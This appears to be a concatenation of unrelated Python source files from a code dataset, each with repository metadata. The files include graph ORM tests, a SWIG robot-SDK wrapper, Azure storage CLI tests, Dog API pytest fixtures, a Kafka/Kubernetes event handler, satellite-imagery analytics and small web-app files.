mapping index ID increment """ # Add 3 mappings idx_list = [self.orm.node_mapping.add(cls, lambda x: x.get('key') == 'six') for cls in (ORMtestTgf9, ORMtestTgf6, ORMtestBi)] self.assertEqual(len(self.orm.node_mapping), 3) self.assertEqual(list(self.orm.node_mapping.keys()), idx_list) # Remove index 2 and add new mapping. Index should be 4 and index 2 # will not be reused self.orm.node_mapping.remove(2) idx = self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six') self.assertEqual(idx, 4) class TestGraphORM(UnittestPythonCompatibility): currpath = os.path.dirname(__file__) _gpf_graph = os.path.abspath(os.path.join(currpath, '../files/graph.tgf')) def setUp(self): """ ConfigHandlerTests class setup Load graph from file and assign custom classes to labels and register with the ORM. """ self.graph = read_tgf(self._gpf_graph) self.orm = GraphORM() self.orm.edge_mapping.add(ORMtestMo, lambda x: x.get('label') == 'mo') self.orm.edge_mapping.add(ORMtestBi, lambda x: x.get('label') == 'bi') self.orm.node_mapping.add(ORMtestTgf6, lambda x: x.get('key') == 'six') self.orm.node_mapping.add(ORMtestTgf9, lambda x: x.get('key') == 'nine' or x.get('ids') == 'edi') self.graph.orm = self.orm self.graph.nodes[6]['add'] = 6 self.graph.nodes[6]['ids'] = 'edi' def test_graph_orm_mapping(self): """ Test the class list resolved for a node mapping """ d = self.graph.orm.node_mapping.match(self.graph, [6]) self.assertEqual(d, [ORMtestTgf6, ORMtestTgf9]) def test_graph_orm_node(self): """ Test ORM class mapping for nodes """ self.assertEqual(self.graph.getnodes(6).add, 6) self.assertTrue(hasattr(self.graph.getnodes(6), 'get_label')) self.assertEqual(self.graph.getnodes(6).get_label(), "tgf6 class 6") # Node 9 has a custom class but misses the 'add' attribute self.assertFalse(hasattr(self.graph.getnodes(9), 'add')) self.assertTrue(hasattr(self.graph.getnodes(9), 'get_label')) self.assertRaises(AttributeError, self.graph.getnodes(9).get_label) def test_graph_orm_edge(self): """ Test ORM class mapping for edges """ for e, v in self.graph.edges.items(): label = v.get('label') if label == 'bi': self.assertTrue(hasattr(self.graph.getedges(e), 'get_label')) self.assertEqual(self.graph.getedges(e).get_label(), "bi class") elif label == 'mo': self.assertTrue(hasattr(self.graph.getedges(e), 'get_label')) self.assertEqual(self.graph.getedges(e).get_label(), "mo class") def test_graph_orm(self): """ Test dynamic inheritance """ # Get node 6 from the full graph and then children of 6 from node 6 object self.graph.root = 1 node6 = self.graph.getnodes(6) children = node6.getnodes(9) # Node 6 should have node6 specific get_label method self.assertEqual(node6.get_label(), 'tgf6 class 6') # Changing the custom class 'add' attribute only affects the # particular node node6.add += 1 self.assertEqual(node6.add, 7) self.assertRaises(AttributeError, children.get_label) def test_graph_orm_inherit(self): """ Test inheritance of non-package classes in ORM generated classes """ # Turn inheritance of self.graph.orm.inherit = False # First call to ORM from base, node 6 should still have 'add' attribute node6 = self.graph.getnodes(6) self.assertTrue('add' in node6) # Second call to ORM from node 6, node 9 should not have 'add' node9 = node6.getnodes(9) self.assertFalse(hasattr(node9, 'add')) def test_graph_mro(self): """ Test python Method Resolution Order management """ # Default behaviour d = self.graph.orm.get_nodes(self.graph, [6]) dmro = [cls.__name__ for cls in d.mro()] self.assertEqual(dmro, ['GraphBase', 'ORMtestTgf6', 'ORMtestTgf9', 'GraphBase', 'object']) # ORMtestTgf9 first self.graph.orm.node_mapping[2]['mro_pos'] = -10 d = self.graph.orm.get_nodes(self.graph, [6]) dmro = [cls.__name__ for cls in d.mro()] self.assertEqual(dmro, ['GraphBase', 'ORMtestTgf9', 'ORMtestTgf6', 'GraphBase', 'object'])
32.358156
111
0.626192
8,806
0.965041
0
0
122
0.01337
0
0
2,592
0.284055
3405aae6a2b0713fec880df0831625e4b08bb01c
8,578
py
Python
naoqi-sdk-2.5.5.5-linux64/lib/python2.7/site-packages/ialbehavior.py
applejenny66/docker_pepper
2469cc4db6585161a31ac44c8fcf2605d71318b1
[ "MIT" ]
null
null
null
naoqi-sdk-2.5.5.5-linux64/lib/python2.7/site-packages/ialbehavior.py
applejenny66/docker_pepper
2469cc4db6585161a31ac44c8fcf2605d71318b1
[ "MIT" ]
null
null
null
naoqi-sdk-2.5.5.5-linux64/lib/python2.7/site-packages/ialbehavior.py
applejenny66/docker_pepper
2469cc4db6585161a31ac44c8fcf2605d71318b1
[ "MIT" ]
null
null
null
# This file was automatically generated by SWIG (http://www.swig.org). # Version 2.0.11 # # Do not make changes to this file unless you know what you are doing--modify # the SWIG interface file instead. from sys import version_info if version_info >= (2,6,0): def swig_import_helper(): from os.path import dirname import imp fp = None try: fp, pathname, description = imp.find_module('_ialbehavior', [dirname(__file__)]) except ImportError: import _ialbehavior return _ialbehavior if fp is not None: try: _mod = imp.load_module('_ialbehavior', fp, pathname, description) finally: fp.close() return _mod _ialbehavior = swig_import_helper() del swig_import_helper else: import _ialbehavior del version_info try: _swig_property = property except NameError: pass # Python < 2.2 doesn't have 'property'. def _swig_setattr_nondynamic(self,class_type,name,value,static=1): if (name == "thisown"): return self.this.own(value) if (name == "this"): if type(value).__name__ == 'SwigPyObject': self.__dict__[name] = value return method = class_type.__swig_setmethods__.get(name,None) if method: return method(self,value) if (not static): self.__dict__[name] = value else: raise AttributeError("You cannot add attributes to %s" % self) def _swig_setattr(self,class_type,name,value): return _swig_setattr_nondynamic(self,class_type,name,value,0) def _swig_getattr(self,class_type,name): if (name == "thisown"): return self.this.own() method = class_type.__swig_getmethods__.get(name,None) if method: return method(self) raise AttributeError(name) def _swig_repr(self): try: strthis = "proxy of " + self.this.__repr__() except: strthis = "" return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,) try: _object = object _newclass = 1 except AttributeError: class _object : pass _newclass = 0 class SwigPyIterator(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, SwigPyIterator, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, SwigPyIterator, name) def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined - class is abstract") __repr__ = _swig_repr __swig_destroy__ = _ialbehavior.delete_SwigPyIterator __del__ = lambda self : None; def value(self): return _ialbehavior.SwigPyIterator_value(self) def incr(self, n=1): return _ialbehavior.SwigPyIterator_incr(self, n) def decr(self, n=1): return _ialbehavior.SwigPyIterator_decr(self, n) def distance(self, *args): return _ialbehavior.SwigPyIterator_distance(self, *args) def equal(self, *args): return _ialbehavior.SwigPyIterator_equal(self, *args) def copy(self): return _ialbehavior.SwigPyIterator_copy(self) def next(self): return _ialbehavior.SwigPyIterator_next(self) def __next__(self): return _ialbehavior.SwigPyIterator___next__(self) def previous(self): return _ialbehavior.SwigPyIterator_previous(self) def advance(self, *args): return _ialbehavior.SwigPyIterator_advance(self, *args) def __eq__(self, *args): return _ialbehavior.SwigPyIterator___eq__(self, *args) def __ne__(self, *args): return _ialbehavior.SwigPyIterator___ne__(self, *args) def __iadd__(self, *args): return _ialbehavior.SwigPyIterator___iadd__(self, *args) def __isub__(self, *args): return _ialbehavior.SwigPyIterator___isub__(self, *args) def __add__(self, *args): return _ialbehavior.SwigPyIterator___add__(self, *args) def __sub__(self, *args): return _ialbehavior.SwigPyIterator___sub__(self, *args) def __iter__(self): return self SwigPyIterator_swigregister = _ialbehavior.SwigPyIterator_swigregister SwigPyIterator_swigregister(SwigPyIterator) import inaoqi class behavior(inaoqi.baseModule): __swig_setmethods__ = {} for _s in [inaoqi.baseModule]: __swig_setmethods__.update(getattr(_s,'__swig_setmethods__',{})) __setattr__ = lambda self, name, value: _swig_setattr(self, behavior, name, value) __swig_getmethods__ = {} for _s in [inaoqi.baseModule]: __swig_getmethods__.update(getattr(_s,'__swig_getmethods__',{})) __getattr__ = lambda self, name: _swig_getattr(self, behavior, name) __repr__ = _swig_repr def __init__(self, *args): this = _ialbehavior.new_behavior(*args) try: self.this.append(this) except: self.this = this __swig_destroy__ = _ialbehavior.delete_behavior __del__ = lambda self : None; def autoBind(self, *args): return _ialbehavior.behavior_autoBind(self, *args) def setEnabled(self, *args): return _ialbehavior.behavior_setEnabled(self, *args) def isEnabled(self): return _ialbehavior.behavior_isEnabled(self) def setResources(self, *args): return _ialbehavior.behavior_setResources(self, *args) def waitFor(self, *args): return _ialbehavior.behavior_waitFor(self, *args) def session(self): return _ialbehavior.behavior_session(self) def acquireResources(self): return _ialbehavior.behavior_acquireResources(self) def waitResourcesCallback(self, *args): return _ialbehavior.behavior_waitResourcesCallback(self, *args) def isResourceFree(self, *args): return _ialbehavior.behavior_isResourceFree(self, *args) def waitResourceFree(self): return _ialbehavior.behavior_waitResourceFree(self) def waitResources(self): return _ialbehavior.behavior_waitResources(self) def releaseResource(self): return _ialbehavior.behavior_releaseResource(self) def addInput(self, *args): return _ialbehavior.behavior_addInput(self, *args) def addOutput(self, *args): return _ialbehavior.behavior_addOutput(self, *args) def addParameter(self, *args): return _ialbehavior.behavior_addParameter(self, *args) def getParameter(self, *args): return _ialbehavior.behavior_getParameter(self, *args) def getParametersList(self): return _ialbehavior.behavior_getParametersList(self) def setParameter(self, *args): return _ialbehavior.behavior_setParameter(self, *args) def setParentFromName(self, *args): return _ialbehavior.behavior_setParentFromName(self, *args) def stimulateIO(self, *args): return _ialbehavior.behavior_stimulateIO(self, *args) def exit(self): return _ialbehavior.behavior_exit(self) def getBrokerName(self): return _ialbehavior.behavior_getBrokerName(self) def version(self): return _ialbehavior.behavior_version(self) def hasTimeline(self): return _ialbehavior.behavior_hasTimeline(self) def getTimeline(self): return _ialbehavior.behavior_getTimeline(self) def hasParentTimeline(self): return _ialbehavior.behavior_hasParentTimeline(self) def getParentTimeline(self): return _ialbehavior.behavior_getParentTimeline(self) def connectInput(self, *args): return _ialbehavior.behavior_connectInput(self, *args) def connectParameter(self, *args): return _ialbehavior.behavior_connectParameter(self, *args) def connectOutput(self, *args): return _ialbehavior.behavior_connectOutput(self, *args) def _reportError(self, *args): return _ialbehavior.behavior__reportError(self, *args) behavior_swigregister = _ialbehavior.behavior_swigregister behavior_swigregister(behavior) class timeline(_object): __swig_setmethods__ = {} __setattr__ = lambda self, name, value: _swig_setattr(self, timeline, name, value) __swig_getmethods__ = {} __getattr__ = lambda self, name: _swig_getattr(self, timeline, name) __repr__ = _swig_repr def __init__(self, *args): this = _ialbehavior.new_timeline(*args) try: self.this.append(this) except: self.this = this __swig_destroy__ = _ialbehavior.delete_timeline __del__ = lambda self : None; def play(self): return _ialbehavior.timeline_play(self) def pause(self): return _ialbehavior.timeline_pause(self) def stop(self): return _ialbehavior.timeline_stop(self) def goTo(self, *args): return _ialbehavior.timeline_goTo(self, *args) def getSize(self): return _ialbehavior.timeline_getSize(self) def getFPS(self): return _ialbehavior.timeline_getFPS(self) def setFPS(self, *args): return _ialbehavior.timeline_setFPS(self, *args) timeline_swigregister = _ialbehavior.timeline_swigregister timeline_swigregister(timeline) # This file is compatible with both classic and new-style classes.
49.017143
107
0.742597
6,098
0.710888
0
0
0
0
0
0
515
0.060037
34076bc49c41e49eb9b085cc0d9b6ff981592a3c
4,654
py
Python
src/storage-preview/azext_storage_preview/tests/latest/test_storage_file_scenarios.py
haroonf/azure-cli-extensions
61c044d34c224372f186934fa7c9313f1cd3a525
[ "MIT" ]
207
2017-11-29T06:59:41.000Z
2022-03-31T10:00:53.000Z
src/storage-preview/azext_storage_preview/tests/latest/test_storage_file_scenarios.py
haroonf/azure-cli-extensions
61c044d34c224372f186934fa7c9313f1cd3a525
[ "MIT" ]
4,061
2017-10-27T23:19:56.000Z
2022-03-31T23:18:30.000Z
src/storage-preview/azext_storage_preview/tests/latest/test_storage_file_scenarios.py
haroonf/azure-cli-extensions
61c044d34c224372f186934fa7c9313f1cd3a525
[ "MIT" ]
802
2017-10-11T17:36:26.000Z
2022-03-31T22:24:32.000Z
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- import os from azure.cli.testsdk import (ResourceGroupPreparer, StorageAccountPreparer, JMESPathCheck, ScenarioTest) from ..storage_test_util import StorageScenarioMixin class StorageFileShareScenarios(StorageScenarioMixin, ScenarioTest): @ResourceGroupPreparer() @StorageAccountPreparer() def test_storage_file_upload_small_file_v2(self, resource_group, storage_account_info): account_info = storage_account_info share_name = self.create_share(account_info) curr_dir = os.path.dirname(os.path.realpath(__file__)) local_file = os.path.join(curr_dir, 'upload_file').replace('\\', '\\\\') local_file_name = 'upload_file' self.storage_cmd('storage file upload -s {} --source "{}" ' '--content-cache-control no-cache ' '--content-disposition attachment ' '--content-encoding compress ' '--content-language en-US ' '--content-type "multipart/form-data;" ' '--metadata key=val ', account_info, share_name, local_file) self.storage_cmd('storage file show -s {} -p "{}"', account_info, share_name, local_file_name) \ .assert_with_checks(JMESPathCheck('name', local_file_name), JMESPathCheck('properties.contentSettings.cacheControl', 'no-cache'), JMESPathCheck('properties.contentSettings.contentDisposition', 'attachment'), JMESPathCheck('properties.contentSettings.contentEncoding', 'compress'), JMESPathCheck('properties.contentSettings.contentLanguage', 'en-US'), JMESPathCheck('properties.contentSettings.contentType', 'multipart/form-data;'), JMESPathCheck('metadata', {'key': 'val'})) dest_dir = 'dest_dir' from azure.core.exceptions import ResourceNotFoundError with self.assertRaises(ResourceNotFoundError): self.storage_cmd('storage file upload -s {} --source "{}" -p {}', account_info, share_name, local_file, dest_dir) self.storage_cmd('storage directory create -s {} -n {}', account_info, share_name, dest_dir) self.storage_cmd('storage file upload -s {} --source "{}" -p {}', account_info, share_name, local_file, dest_dir) self.storage_cmd('storage file show -s {} -p "{}"', account_info, share_name, dest_dir + '/' + local_file_name) \ .assert_with_checks(JMESPathCheck('name', local_file_name)) dest_file = 'dest_file.json' self.storage_cmd('storage file upload -s {} --source "{}" -p {}', account_info, share_name, local_file, dest_file) self.storage_cmd('storage file show -s {} -p "{}"', account_info, share_name, dest_file) \ .assert_with_checks(JMESPathCheck('name', dest_file)) dest_path = dest_dir + '/' + dest_file self.storage_cmd('storage file upload -s {} --source "{}" -p {}', account_info, share_name, local_file, dest_path) self.storage_cmd('storage file show -s {} -p "{}"', account_info, share_name, dest_path) \ .assert_with_checks(JMESPathCheck('name', dest_file)) sub_deep_path = dest_dir + '/' + 'sub_dir' self.storage_cmd('storage directory create -s {} -n {}', account_info, share_name, sub_deep_path) self.storage_cmd('storage file upload -s {} --source "{}" -p {}', account_info, share_name, local_file, sub_deep_path) self.storage_cmd('storage file show -s {} -p "{}"', account_info, share_name, sub_deep_path + '/' + local_file_name). \ assert_with_checks(JMESPathCheck('name', local_file_name)) sub_deep_file = sub_deep_path + '/' + dest_file self.storage_cmd('storage file upload -s {} --source "{}" -p {}', account_info, share_name, local_file, sub_deep_file) self.storage_cmd('storage file show -s {} -p "{}"', account_info, share_name, sub_deep_file).assert_with_checks(JMESPathCheck('name', dest_file))
51.142857
121
0.588526
4,133
0.888053
0
0
4,059
0.872153
0
0
1,546
0.332187
340b77b6abbc62dbe070ea6034ab0b693a686510
5,189
py
Python
API/conftest.py
BahrmaLe/otus_python_homework
510a4f1971b35048d760fcc45098e511b81bea31
[ "MIT" ]
1
2021-02-25T15:37:21.000Z
2021-02-25T15:37:21.000Z
API/conftest.py
BahrmaLe/otus_python_homework
510a4f1971b35048d760fcc45098e511b81bea31
[ "MIT" ]
null
null
null
API/conftest.py
BahrmaLe/otus_python_homework
510a4f1971b35048d760fcc45098e511b81bea31
[ "MIT" ]
null
null
null
"""Fixtures for tests.py (Dogs API testing)""" import pytest import requests URLS = ["https://dog.ceo/dog-api/", "https://dog.ceo/api/breeds/list/all", "https://dog.ceo/api/breeds/image/random", "https://dog.ceo/api/breeds/image/random/3", "https://dog.ceo/api/breed/hound/images", "https://dog.ceo/api/breed/hound/images/random", "https://dog.ceo/api/breed/hound/images/random/3", "https://dog.ceo/api/breed/hound/list", "https://dog.ceo/api/breed/hound/afghan/images", "https://dog.ceo/api/breed/hound/afghan/images/random", "https://dog.ceo/api/breed/hound/afghan/images/random/3", ] """List general ULRS with Dogs API""" HEADERS = [{"Content-type": "application/json"}, {"Content-type": "text/html"}, {}] PAIRS = [(url, header) for url in URLS for header in HEADERS] @pytest.fixture(params=PAIRS) def pairs_of_response(request): """pairwise testing for content-type, headers in responses for all urls """ response = requests.get(request.param[0], headers=request.param[1]) print(request.param[0]) print(request.param[1]) return response @pytest.fixture() def listallbreeds(): """GET Request to https://dog.ceo/api/breeds/list/all and return Json data""" response = requests.get(URLS[1]) json_data = response.json() return json_data @pytest.fixture() def randomimage(): """GET Request to "https://dog.ceo/api/breeds/image/random/3" and return Json data with random image""" class Randomimage(): """"I don't know why it here, I am google it""" @staticmethod def get_random_image(): """Function for class""" response = requests.get(URLS[2]) json_data = response.json() return json_data return Randomimage() @pytest.fixture() def randomthreeimage(): """GET Request to "https://dog.ceo/api/breeds/image/random" and return Json data with three random image""" class Randomimage(): """"I don't know why it here, I am google it""" @staticmethod def get_random_three_image(): """Function for class""" response = requests.get(URLS[3]) json_data = response.json() return json_data return Randomimage() @pytest.fixture() def list_of_breed(): """GET Request to "https://dog.ceo/api/breed/hound/images" and return Json data with list а all images by breed "hound" """ response = requests.get(URLS[4]) json_data = response.json() return json_data @pytest.fixture() def get_random_image_by_breed(): """GET Request to "https://dog.ceo/api/breed/hound/images/random" and return Json data with random image by breed""" class Randomimage(): """"I don't know why it here, I am google it""" @staticmethod def get_random_image(): """Function for class""" response = requests.get(URLS[5]) json_data = response.json() return json_data return Randomimage() @pytest.fixture() def get_random_three_image_by_breed(): """GET Request to "https://dog.ceo/api/breed/hound/images/random/3" and return Json data with random three image by breed """ class Randomimage(): """"I don't know why it here, I am google it""" @staticmethod def get_random_three_image(): """Function for class""" response = requests.get(URLS[6]) json_data = response.json() return json_data return Randomimage() @pytest.fixture() def listallsubbreeds(): """GET Request to "https://dog.ceo/api/breed/hound/images" and return Json data with list а all images by sub-breeds for "hound" """ response = requests.get(URLS[7]) json_data = response.json() return json_data @pytest.fixture() def list_of_subbreed(): """GET Request to "https://dog.ceo/api/breed/hound/afghan/images" and return Json data with list а all images by sub-breed "afghan" """ response = requests.get(URLS[8]) json_data = response.json() return json_data @pytest.fixture() def get_random_image_by_subbreed(): """GET Request to "https://dog.ceo/api/breed/hound/afghan/images/random" and return Json data with random image by sub-breed "afghan" """ class Randomimage(): """"I don't know why it here, I am google it""" @staticmethod def get_random_image(): """Function for class""" response = requests.get(URLS[9]) json_data = response.json() return json_data return Randomimage() @pytest.fixture() def get_random_three_image_by_subbreed(): """GET Request to "https://dog.ceo/api/breed/hound/afghan/images/random/3" and return Json data with three random image by sub-breed "afghan" """ class Randomimage(): """"I don't know why it here, I am google it""" @staticmethod def get_random_three_image(): """Function for class""" response = requests.get(URLS[10]) json_data = response.json() return json_data return Randomimage()
31.259036
83
0.631143
1,705
0.32839
0
0
4,306
0.829353
0
0
2,382
0.458783
340b8f990c1b32dcdd389654c6b09c11a8ed3506
2,418
py
Python
incubator/kafka-connect/kafka-connect.py
CiscoM31/functions
96e34dfc815d92563ce2421b41c9c18906c8278b
[ "Apache-2.0" ]
74
2017-07-26T17:02:39.000Z
2021-07-27T22:27:57.000Z
incubator/kafka-connect/kafka-connect.py
CiscoM31/functions
96e34dfc815d92563ce2421b41c9c18906c8278b
[ "Apache-2.0" ]
15
2017-06-23T23:48:39.000Z
2019-10-01T09:49:32.000Z
incubator/kafka-connect/kafka-connect.py
CiscoM31/functions
96e34dfc815d92563ce2421b41c9c18906c8278b
[ "Apache-2.0" ]
35
2017-06-20T14:44:21.000Z
2021-11-04T12:28:31.000Z
import json import base64 from kubernetes import client, config config.load_incluster_config() v1=client.CoreV1Api() #Get slack secret for secrets in v1.list_secret_for_all_namespaces().items: if secrets.metadata.name == 'slack': token = base64.b64decode(secrets.data['token']) print "==> Function ready to listen events..." def handler(event, context): util_data = False try: if 'op' in event['data']['payload']: util_data = True; except: util_data = False if util_data == True: # CREATE operation if event['data']['payload']['op'] == "c": first_name = event['data']['payload']['after']['first_name']; last_name = event['data']['payload']['after']['last_name']; email = event['data']['payload']['after']['email']; msg = "Create operation: Added user %s %s with email %s" % (first_name, last_name, email) print msg; # DELETE operation elif event['data']['payload']['op'] == "d": first_name = event['data']['payload']['before']['first_name']; last_name = event['data']['payload']['before']['last_name']; email = event['data']['payload']['before']['email']; msg = "Delete operation: Deleted user %s %s with email %s" % (first_name, last_name, email) print msg; # UPDATE operation elif event['data']['payload']['op'] == "u": row_id = event['data']['payload']['before']['id']; first_name_before = event['data']['payload']['before']['first_name']; last_name_before = event['data']['payload']['before']['last_name']; email_before = event['data']['payload']['before']['email']; first_name_after = event['data']['payload']['after']['first_name']; last_name_after = event['data']['payload']['after']['last_name']; email_after = event['data']['payload']['after']['email']; msg = "Update operation in row with id %s: \n Old value: Name: %s %s and Email: %s \n New value: Name: %s %s and Email %s" % (row_id, first_name_before, last_name_before, email_before, first_name_after, last_name_after, email_after) print msg; else: msg = "Unrecognized operation" print msg; else: print "Payload is empty. Useless event..." return "Function executed"
42.421053
244
0.58354
0
0
0
0
0
0
0
0
924
0.382134
340dfed74a4b1be15e68416365f62da3eb69232c
2,278
py
Python
Sentinel2_genAnalytics.py
silentassasin0111/pySatLib
143b0c480f14dfe1ba00ed57f2ddeca30a14dd9d
[ "MIT" ]
null
null
null
Sentinel2_genAnalytics.py
silentassasin0111/pySatLib
143b0c480f14dfe1ba00ed57f2ddeca30a14dd9d
[ "MIT" ]
null
null
null
Sentinel2_genAnalytics.py
silentassasin0111/pySatLib
143b0c480f14dfe1ba00ed57f2ddeca30a14dd9d
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- #!/usr/bin/env python3 from __future__ import print_function import numpy as np import os import argparse import time import pandas as pd from termcolor import colored from analytics.analyzer import Sentinel2Analyzer parser = argparse.ArgumentParser(description='Sentinel 2 All band median analytics ') parser.add_argument("datafolder", help="/path/to/Data/Folder") parser.add_argument("maskPath", help="/path/to/geotiff/mask.tiff") parser.add_argument("analyticsSavingPath", help="/path/to/save/analytics_data") args = parser.parse_args() data_dir=args.datafolder mask_path=args.maskPath analytics_data_path=args.analyticsSavingPath analyzer=Sentinel2Analyzer() df=pd.DataFrame(columns=analyzer.analytics_parameters) saveAsCSV=True def moduleRun(data_dir,df): zones=os.listdir(data_dir) for zone in zones: dpath=os.path.join(data_dir,zone) fpaths=os.listdir(dpath) for fpath in fpaths: start_time = time.time() directory=os.path.join(data_dir,zone,fpath) get_analytics(directory,mask_path,analytics_data_path) temp=pd.DataFrame([analyzer.analytics_values],columns=analyzer.analytics_parameters) df=df.append(temp,ignore_index=True) print(colored('\t|- Time Elapsed : {file_name:s} in {te:s}'.format(file_name=os.path.basename(directory),te=str(time.time()-start_time)),'red')) print() return df def get_analytics(directory,mask_path,analytics_data_path): analyzer.mask_path=mask_path analyzer.analytics_data_path=analytics_data_path analyzer.generateAnalytics(directory) ''' CODE TO TURN CSV INTO DF: csv_file_name='' df=pd.read_csv(csv_file_name,sep='\t',skiprows=[0],names=col_names) ''' if __name__=='__main__': df=moduleRun(data_dir,df) df['Acquisition_Date']=pd.to_datetime(df['Acquisition_Date']) df.set_index(['Acquisition_Date'],inplace=True) df=df.sort_index() csv_file_name=os.path.join(analyzer.analytics_data_path,'analytics.csv') df.to_csv(csv_file_name, sep='\t', encoding='utf-8') print(colored('# Saved analytics at: {}'.format(csv_file_name),'green'))
28.475
156
0.701054
0
0
0
0
0
0
0
0
503
0.220808
340fc536c46efae344b04de94a881f782bf866ef
2,198
py
Python
clfzoo/instance.py
SeanLee97/clfzoo
8c51ee316d51a4ec1d3e0c5c91a64248d6705214
[ "MIT" ]
44
2018-11-12T05:06:44.000Z
2022-03-24T00:40:40.000Z
clfzoo/instance.py
SeanLee97/clfzoo
8c51ee316d51a4ec1d3e0c5c91a64248d6705214
[ "MIT" ]
1
2019-08-22T11:40:58.000Z
2019-08-23T05:26:24.000Z
clfzoo/instance.py
SeanLee97/clfzoo
8c51ee316d51a4ec1d3e0c5c91a64248d6705214
[ "MIT" ]
8
2018-11-13T07:13:56.000Z
2019-08-21T02:24:37.000Z
# -*- coding: utf-8 -*- import os import pickle from clfzoo.dataloader import DataLoader from clfzoo.vocab import Vocab class Instance(object): def __init__(self, config, training=False): self.logger = config.logger self.dataloader = DataLoader(config) if training: self.logger.info("Preprocesing...") self.vocab = Vocab() self.vocab.label2idx = self.dataloader.label2idx self.vocab.idx2label = self.dataloader.idx2label for word in self.dataloader.word_iter('train'): self.vocab.add_word(word) [self.vocab.add_char(ch) for ch in word] unfiltered_vocab_size = self.vocab.word_size() self.vocab.filter_word_by_cnt(config.min_word_freq) filtered_num = unfiltered_vocab_size - self.vocab.word_size() self.logger.info('After filter {} tokens, the final vocab size is {}'.format(filtered_num, self.vocab.word_size())) self.logger.info('Assigning embeddings...') if config.use_pretrained_embedding and config.pretrained_embedding_file is not None: self.logger.info("Load pretrained word embedding...") self.vocab.load_pretrained_word_embeddings(config.pretrained_embedding_file, kernel=config.embedding_kernel) else: self.vocab.randomly_word_embeddings(config.word_embed_dim) self.vocab.randomly_char_embeddings(config.char_embed_dim) self.logger.info('Saving vocab...') with open(os.path.join(config.vocab_dir, 'vocab.data'), 'wb') as fout: pickle.dump(self.vocab, fout) self.logger.info('====== Done with preparing! ======') else: self.logger.info("Load prev vocab......") with open(os.path.join(config.vocab_dir, 'vocab.data'), 'rb') as fin: self.vocab = pickle.load(fin) self.dataloader.label2idx = self.vocab.label2idx self.dataloader.idx2label = self.vocab.idx2label def set_data(self, datas, labels=None): self.dataloader.set_data(self.vocab, datas, labels)
43.098039
127
0.628753
2,075
0.94404
0
0
0
0
0
0
267
0.121474
340fcc7ec477179690e4471488c43b411756338d
184
py
Python
fastapi-transformer-baseline/app/main.py
DeDeckerThomas/NLPiP
37b4d146f5d9760f779f724c4a0698930f59d6d1
[ "Apache-2.0" ]
3
2022-03-10T13:33:24.000Z
2022-03-31T13:31:30.000Z
fastapi-transformer-baseline/app/main.py
DeDeckerThomas/NLPiP
37b4d146f5d9760f779f724c4a0698930f59d6d1
[ "Apache-2.0" ]
null
null
null
fastapi-transformer-baseline/app/main.py
DeDeckerThomas/NLPiP
37b4d146f5d9760f779f724c4a0698930f59d6d1
[ "Apache-2.0" ]
null
null
null
from fastapi import FastAPI from routers.api_router import api_router from core.config import settings app: FastAPI = FastAPI(title=settings.APP_NAME) app.include_router(api_router)
23
47
0.836957
0
0
0
0
0
0
0
0
0
0
3411052aa746ccfbb6487b369a2c0dc0e70a536b
110
py
Python
girlfriend_project/apps.py
paressuex11/mysite
416e49ebe041aa8a1f67e56c9664961f5f714ccc
[ "Apache-2.0" ]
null
null
null
girlfriend_project/apps.py
paressuex11/mysite
416e49ebe041aa8a1f67e56c9664961f5f714ccc
[ "Apache-2.0" ]
7
2020-02-12T02:36:37.000Z
2022-02-10T10:10:11.000Z
girlfriend_project/apps.py
paressuex11/mysite
416e49ebe041aa8a1f67e56c9664961f5f714ccc
[ "Apache-2.0" ]
null
null
null
from django.apps import AppConfig class GirlfriendProjectConfig(AppConfig): name = 'girlfriend_project'
18.333333
41
0.8
73
0.663636
0
0
0
0
0
0
20
0.181818
3411f5389305082b1750729cc8d9ca2b0b1a5f11
529
py
Python
home/migrations/0010_auto_20190604_1147.py
xni06/wagtail-CMS
defe0f46e8109e96d6d5e9fd4cf002790fbcd54b
[ "MIT" ]
4
2019-06-04T07:18:44.000Z
2020-06-15T22:27:36.000Z
home/migrations/0010_auto_20190604_1147.py
jaspotsangbam/wagtail-CMS
2ec0dd05ba1f9339b705ce529588131049aa9bc7
[ "MIT" ]
38
2019-05-09T13:14:56.000Z
2022-03-12T00:54:57.000Z
home/migrations/0010_auto_20190604_1147.py
jaspotsangbam/wagtail-CMS
2ec0dd05ba1f9339b705ce529588131049aa9bc7
[ "MIT" ]
3
2019-09-26T14:32:36.000Z
2021-05-06T15:48:01.000Z
# Generated by Django 2.1.8 on 2019-06-04 11:47 from django.db import migrations import wagtail.core.blocks import wagtail.core.fields class Migration(migrations.Migration): dependencies = [ ('home', '0009_homepage_header'), ] operations = [ migrations.AlterField( model_name='homepage', name='links', field=wagtail.core.fields.StreamField([('link', wagtail.core.blocks.PageChooserBlock()), ('link_header', wagtail.core.blocks.TextBlock())]), ), ]
25.190476
152
0.644612
390
0.73724
0
0
0
0
0
0
111
0.20983
341242d2d6fcab480644d8108b064807d2fc4019
428
py
Python
evaluation/read_mat.py
JACKYLUO1991/DCBNet
b797584b66ad99fe984f58268befb12ec60ccfae
[ "MIT" ]
6
2021-06-14T15:23:59.000Z
2022-01-19T12:29:20.000Z
evaluation/read_mat.py
JACKYLUO1991/DCBANet
b797584b66ad99fe984f58268befb12ec60ccfae
[ "MIT" ]
1
2021-06-03T08:08:20.000Z
2021-06-09T17:24:54.000Z
evaluation/read_mat.py
JACKYLUO1991/DCBANet
b797584b66ad99fe984f58268befb12ec60ccfae
[ "MIT" ]
1
2020-09-19T17:13:36.000Z
2020-09-19T17:13:36.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2020/9/16 13:23 # @Author : JackyLUO # @E-mail : lingluo@stumail.neu.edu.cn # @Site : # @File : read_mat.py # @Software: PyCharm import pandas as pd import scipy.io as scio dataFile = "roc_curves/CUHKMED/roc_curve.mat" data = scio.loadmat(dataFile) fpr = data['fpr'][0] tpr = data['tpr'][0] df = pd.DataFrame({'FPR': fpr, 'TPR': tpr}) df.to_csv("res.csv")
20.380952
45
0.630841
0
0
0
0
0
0
0
0
252
0.588785
3413470e123bef13f5fc45dc318d08068d414db7
1,487
py
Python
src/clm/views/user/message.py
cc1-cloud/cc1
8113673fa13b6fe195cea99dedab9616aeca3ae8
